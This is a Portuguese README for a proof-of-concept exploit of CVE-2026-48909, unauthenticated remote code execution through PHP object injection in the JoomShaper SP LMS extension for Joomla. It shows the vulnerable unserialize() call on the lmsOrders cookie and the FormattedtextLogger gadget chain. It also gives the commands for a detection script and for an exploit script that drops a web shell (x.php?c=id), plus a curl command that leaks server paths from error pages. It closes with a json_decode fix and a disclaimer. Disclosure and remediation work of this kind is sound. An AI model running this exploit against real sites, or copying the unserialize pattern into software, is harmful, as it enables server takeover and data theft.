
Exploit de prova de conceito para CVE-2026-48909: execução remota de código não autenticada via injeção de objeto PHP no JoomShaper SP LMS. Inclui orientações de detecção, exploração e remediação.
Execução Remota de Código não autenticada via Injeção de Objeto PHP no JoomShaper SP LMS (com_splms) ≤ 4.1.3 para o CMS Joomla.
Autor: Amin İsayev / Proxima Cyber Security
SP LMS é uma extensão popular de Learning Management System para Joomla da JoomShaper, com mais de 100.000 instalações. As versões ≤ 4.1.3 passam o cookie diretamente para sem qualquer validação, permitindo que um atacante não autenticado injete um objeto PHP malicioso e alcance Execução Remota de Código por meio da cadeia de gadgets nativa do Joomla.
lmsOrdersunserialize()| Campo | Detalhes |
|---|---|
| CVE ID | CVE-2026-48909 |
| GHSA | GHSA-gf8c-xmwj-whrh |
| Afetado | SP LMS (com_splms) 1.0.0 – 4.1.3 |
| Corrigido em | SP LMS ≥ 4.1.4 |
| Requisito do Joomla | < 5.2.2 (cadeia de gadgets corrigida na 5.2.2) |
| CVSS 4.0 | 9.5 Crítico — AV:N/AC:L/AT:P/PR:N/UI:N |
| CWE | CWE-502: Desserialização de Dados Não Confiáveis |
| Autenticação necessária | Nenhuma |
| Divulgado | 2026-05-26 |
| Publicado | 2026-06-20 |
components/com_splms/models/cart.php linha 28:
$cookie = Factory::getApplication()->input->cookie;
$raw = $cookie->get('lmsOrders', base64_encode(serialize(array())));
$decoded = base64_decode($raw);
$cartItems = unserialize($decoded); // ← untrusted user input
O cookie lmsOrders é decodificado em base64 e passado diretamente para unserialize(). Um atacante controla totalmente o objeto desserializado.
A classe FormattedtextLogger do Joomla fornece o gadget:
lmsOrders cookie (attacker-controlled)
└─► unserialize() [cart.php:28]
└─► FormattedtextLogger.__destruct() [Joomla gadget]
└─► initFile() → File::write($path, $format)
└─► PHP code written to disk → RCE
Nota: RCE requer Joomla < 5.2.2.
O Joomla 5.2.2 corrigiuFormattedtextLogger.__wakeup()(veja PR #44428).
A Injeção de Objeto PHP ainda existe no com_splms ≤ 4.1.3 em todas as versões do Joomla.
O Input\Cookie::get() do Joomla aplica um filtro cmd por padrão, removendo +, / e = do valor do cookie — caracteres presentes no base64 padrão. O exploit usa:
$, _, {, }, \n)=)/ e + da saída base64python3 CVE-2026-48909.py https://target.com
[*] Target : https://target.com
[*] Path : /index.php?option=com_splms&view=cart
[*] Probe : lmsOrders=Tzo4OiJzdGRDbGFzcyI6MDp7fQ==
[VULNERABLE] HTTP 500 on probe vs 200 on benign — unserialize() called on cookie
[!] Update to SP LMS >= 4.1.4 immediately.
python3 CVE-2026-48909_exploit.py https://target.com /var/www/html/tmp/x.php

Shell ativa em
https://target.com/tmp/x.php?c=id
Descobrindo o caminho do servidor (se desconhecido):
# cPanel hosting — path leaks from Joomla error pages
curl -sk "https://target.com/administrator/" | grep -oP '\/home\d*\/[^"<\s]+'
# Common paths to try:
# /var/www/html/tmp/x.php
# /home/USER/public_html/tmp/x.php
# /var/www/vhosts/DOMAIN/httpdocs/tmp/x.php
pip install requests
Python 3.10+
lmsOrders antes da desserialização:// Do NOT use unserialize() on user-controlled data
// Use json_encode/json_decode instead
$cartItems = json_decode(base64_decode($raw), true) ?? [];
Esta ferramenta é disponibilizada apenas para fins educacionais e testes de segurança autorizados.
O autor não é responsável por qualquer uso indevido ou dano causado por este programa.
Não use contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar.
Amin İsayev / Proxima Cyber Security — 2026